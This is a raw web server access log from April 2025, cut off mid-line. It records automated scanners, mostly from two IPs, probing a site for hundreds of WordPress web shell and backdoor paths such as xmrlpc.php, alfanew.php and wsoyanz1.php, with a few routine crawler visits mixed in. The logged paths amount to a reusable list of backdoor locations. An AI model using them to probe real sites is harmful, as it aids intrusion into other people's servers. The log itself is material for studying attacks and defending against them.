[05/Apr/2025:23:55:14 -0400] "GET /wp-admin/css/colors/coffee/fw.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:55:17 -0400] "GET /wp-admin/css/fw.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:55:19 -0400] "GET /wp-admin/includes/fw.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:55:24 -0400] "GET /wp-admin/maint/fw.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:55:28 -0400] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:55:31 -0400] "GET /wp-content/plugins/vwcleanerplugin/bump.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:55:35 -0400] "GET /wp-content/plugins/xichang/x.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:58:00 -0400] "GET /wp-content/plugins/wordpresss3cll/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:58:02 -0400] "GET /wp-admin/about.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:58:06 -0400] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:58:10 -0400] "GET /wp-admin/js/about.php7 HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:58:15 -0400] "GET /wp-content/install.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:58:18 -0400] "GET /wp-admin/user/about.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:58:21 -0400] "GET /wp-includes/install.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:58:23 -0400] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:58:25 -0400] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:58:27 -0400] "GET /wp-admin/network/admin.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:58:29 -0400] "GET /wp-admin/maint/atomlib.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:58:31 -0400] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:58:33 -0400] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:58:34 -0400] "GET /wp-content/uploads/index.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:58:37 -0400] "GET /wp-content/themes/twentytwentythree/patterns/index.php HTTP/1.1" 301 795 "-" "-" 216.244.66.236 - - [06/Apr/2025:00:35:10 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 216.244.66.236 - - [06/Apr/2025:02:15:42 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 173.208.203.178 - - [06/Apr/2025:03:23:31 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 OPR/77.0.4054.203" 216.244.66.236 - - [06/Apr/2025:04:11:09 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 182.40.104.255 - - [06/Apr/2025:04:12:20 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 198.235.24.163 - - [06/Apr/2025:05:06:05 -0400] "GET / HTTP/1.1" 301 795 "-" "-" 194.38.23.16 - - [06/Apr/2025:06:04:55 -0400] "GET / HTTP/1.1" 301 795 "-" "ALittle Client" 216.244.66.236 - - [06/Apr/2025:06:47:54 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 164.68.127.230 - - [06/Apr/2025:07:02:59 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; t3versionsBot/1.0; +https://www.t3versions.com/bot)" 13.90.159.17 - - [06/Apr/2025:07:10:00 -0400] "GET /templates/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:05 -0400] "GET /admin/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:07 -0400] "GET /wp-content/uploads/2023/11/system.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:08 -0400] "GET /wp-admin/ccx/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:09 -0400] "GET /wp-content/plugins/oekqtzj/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:09 -0400] "GET /cgi-bin/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:10 -0400] "GET /wp-admin/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:11 -0400] "GET /wp-includes/assets/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:12 -0400] "GET /sitemap.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:13 -0400] "GET /wp-content/banners/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:14 -0400] "GET /wp-admin/cloud.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:14 -0400] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:15 -0400] "GET /wp-includes/js/tinymce/plugins/directionality/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:15 -0400] "GET /wp-includes/images/wlw/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:15 -0400] "GET /wp-content/plugins/backup-backup/includes/923924098...php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:16 -0400] "GET /todo.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:16 -0400] "GET /wp-content/uploads/2018/03/ab.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:17 -0400] "GET /wp-includes/js/tinymce/wp-tinymce.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:17 -0400] "GET /wp-content/plugins/ninja-forms/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:18 -0400] "GET /wp-includes/Requests/Response/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:18 -0400] "GET /wp-crom.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:19 -0400] "GET /wp-content/uploads/wpr-addons/forms/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:19 -0400] "GET /wp-includes/block-supports/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:20 -0400] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:20 -0400] "GET /wp-includes/mah.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:21 -0400] "GET /wp-content/themes/9geiaoo5/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:21 -0400] "GET /cache-compat.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:22 -0400] "GET /moddofuns.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:23 -0400] "GET /logs_view.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:23 -0400] "GET /wp/wp-admin/install.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:23 -0400] "GET /wp-content/plugins/backup-backup/includes/1a895fa06f.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:24 -0400] "GET /wp-includes/ID3/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:24 -0400] "GET /environment.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:24 -0400] "GET /plugins/broken-link-checker/core/utils/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:25 -0400] "GET /class-wp-lock.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:26 -0400] "GET /wp-content/plugins/qwfdsop/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:26 -0400] "GET /wp-content/plugins/seox/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:26 -0400] "GET /alfanew.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:27 -0400] "GET /wp-content/themes/7nd9yzxp/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:27 -0400] "GET /wp-content/plugins/td-cloud-library/includes/dir/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:27 -0400] "GET /wp-content/plugins/WordPressCore/smaxx.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:28 -0400] "GET /media-new.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:28 -0400] "GET /wp-theme.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:28 -0400] "GET /wp-includes/Cez57/index.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:29 -0400] "GET /wp-content/plugins/qvkwtfvfez/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:29 -0400] "GET /wp-content/themes/digital-download/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:29 -0400] "GET /assets/css/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:30 -0400] "GET /wp-admin/includes/about.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:30 -0400] "GET /wp-includes/class-flitert.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:30 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:31 -0400] "GET /stats.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:31 -0400] "GET /wp-includes/assets/XeRzQ.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:32 -0400] "GET /images/server.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:32 -0400] "GET /wp-admin/setup HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:32 -0400] "GET /wp-content/themes/fag0z08y/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:33 -0400] "GET /rendixd.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:33 -0400] "GET /assets/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:34 -0400] "GET /local/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:34 -0400] "GET /logout.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:34 -0400] "GET /wp-content/plugins/index HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:34 -0400] "GET /upload/2021_02_08/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:35 -0400] "GET /authorize.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:35 -0400] "GET /version.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:35 -0400] "GET /video.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:36 -0400] "GET /wp-links.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:36 -0400] "GET /woh.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:36 -0400] "GET /images/admin.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:37 -0400] "GET /wp-apxupx.php?apx=upx HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:37 -0400] "GET /sim.php/wp-includes/certificates/plugins.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:37 -0400] "GET /wp-includes/css/str_replace.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:37 -0400] "GET /img/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:38 -0400] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:38 -0400] "GET /.well-known/acme-challenge/about.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:38 -0400] "GET /docs/cc.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:39 -0400] "GET /wp-admin/uploads HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:39 -0400] "GET /wp-content/themes/fswefy0o/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:40 -0400] "GET /wp-content/plugins/sdxxcfgt/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:40 -0400] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:40 -0400] "GET /wp-content/plugins/linkpreview/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:40 -0400] "GET /components/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:41 -0400] "GET /wp-content/plugins/ttsgmsw/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:41 -0400] "GET /cc.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:42 -0400] "GET /wp-content/plugins/whusrhk/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:42 -0400] "GET /f0x.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:43 -0400] "GET /components/5173e.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:43 -0400] "GET /wp-includes/mah.php999 HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:43 -0400] "GET /st.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:44 -0400] "GET /wp-content/uploads/--wp-lgj.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:44 -0400] "GET /vendor/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:44 -0400] "GET /atomlib.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:45 -0400] "GET /wp-content/plugins/plugins/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:45 -0400] "GET /wp-admin/images/sx.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:46 -0400] "GET /wp-admin/atomlib.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:46 -0400] "GET /images/class-config.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:47 -0400] "GET /wp-admin/user/about.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:47 -0400] "GET /wp-includes/themes.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:47 -0400] "GET /wp-content/plugins/zgtzwun/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:48 -0400] "GET /wp-admin/css/colors/coffee/cloud.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:48 -0400] "GET /class.api.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:48 -0400] "GET /google.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:49 -0400] "GET /wp-includes/class-ftps.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:49 -0400] "GET /wp-content/uploads/2018/03/equipe-background-570x536.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:49 -0400] "GET /ab.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:50 -0400] "GET /.well-known/about HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:50 -0400] "GET /wp-content/plugins/elementor/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:50 -0400] "GET /wp-admin/maint/maint/ajax-actions.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:51 -0400] "GET /wikindex.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:51 -0400] "GET /MARIJUANA.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:52 -0400] "GET /wizard.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:52 -0400] "GET /wp-admin/js/wp-admin/js/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:52 -0400] "GET /adminfuns.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:53 -0400] "GET /images/headers/strenms.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:53 -0400] "GET /120f9.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:53 -0400] "GET /.well-known/init HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:53 -0400] "GET /wp-content/plugins/ImageManager/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:54 -0400] "GET /wp-content/plugins/dfgs/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:54 -0400] "GET /wp-admin/css/colors/coffee/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:55 -0400] "GET /.well-known//.well-known/owlmailer.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:55 -0400] "GET /.well-known/pki-validation/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:55 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/info.php.suspected HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:55 -0400] "GET /config_load.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:56 -0400] "GET /Njima.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:56 -0400] "GET /wp-includes/agTOMuSfW6r.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:56 -0400] "GET /wp-includes.bak/html-api/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:57 -0400] "GET /wp-content/themes/wp-classic/inc/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:57 -0400] "GET /wp-admin/css/colors/blue/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:57 -0400] "GET /cjfuns.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:58 -0400] "GET /role.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:58 -0400] "GET /wp-content/themes/phocsqfz/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:58 -0400] "GET /wp-admin/css/colors/blue/blkdimxx.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:59 -0400] "GET /user-edit.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:59 -0400] "GET /wp-includes/Text/Diff/Engine/ftp_rmdir.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:10:59 -0400] "GET /wp-content/themes/wp-classic/inc/index.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:00 -0400] "GET /wp-includes/customize/themes.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:00 -0400] "GET /alfanew.PHP7 HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:00 -0400] "GET /wp-content/themes/about HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:01 -0400] "GET /wp-includes/PHPMailer/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:01 -0400] "GET /wp-content/plugins/wp-apxupx.php?apx=upx HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:02 -0400] "GET /wp-includes/konten/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:02 -0400] "GET /wp-content/uploads/2023/10/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:02 -0400] "GET /wp-config-sample.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:03 -0400] "GET /aaa.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:03 -0400] "GET /wp-content/languages/index.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:03 -0400] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:04 -0400] "GET /wp-content/upgrade/about.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:04 -0400] "GET /wp-admin/meta/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:04 -0400] "GET /wp-content/plugins/background-image-cropper/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:05 -0400] "GET /wp-content/plugins/cifkpgk/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:05 -0400] "GET /yanz.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:05 -0400] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:06 -0400] "GET /nav-menus.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:06 -0400] "GET /utilities.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:07 -0400] "GET /wp-includes/css/dist/list-reusable-blocks/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:07 -0400] "GET /wp-includes_old/Requests/Cookie/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:07 -0400] "GET /beence.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:08 -0400] "GET /wp-includes/sodium_compat/src/Core32/Poly1305/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:08 -0400] "GET /doc.php/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:08 -0400] "GET /wp-includes/style-engine/about.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:08 -0400] "GET /wp-includes/blocks/block/moon.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:09 -0400] "GET /wp-content/uploads/options-writing.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:09 -0400] "GET /wp-content/plugins/gvkfsao/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:09 -0400] "GET /wp-content/plugins/vbcxdsf/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:10 -0400] "GET /wp-admin/css/colors/light/about.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:10 -0400] "GET /privacy.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:10 -0400] "GET /network.php999 HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:10 -0400] "GET /wp-content/themes/twentytwenty/404.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:11 -0400] "GET /wp-crons.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:11 -0400] "GET /wp-cron.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:11 -0400] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:11 -0400] "GET /aged.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:13 -0400] "GET /wp-includes/images/smilies/about.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:13 -0400] "GET /web.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:13 -0400] "GET /cron.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:14 -0400] "GET /.well-known/plugins/default HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:14 -0400] "GET /wp-content/plugins/pwnd-1/pwnd.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:14 -0400] "GET /tools.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:15 -0400] "GET /schema.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:17 -0400] "GET /wp-content/themes/setup HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:17 -0400] "GET /uploads/blog/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:18 -0400] "GET /wp-content/themes/pridmag/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:18 -0400] "GET /wp-content/plugins/seoo/wsoyanz1.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:19 -0400] "GET /.well-known/pki-validation/install.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:19 -0400] "GET /wp-includes/SimplePie/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:19 -0400] "GET /wp-content/gallery/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:20 -0400] "GET /.well-known/acme-challenge/admin.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:20 -0400] "GET /wp-includes/Requests/Proxy/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:20 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:21 -0400] "GET 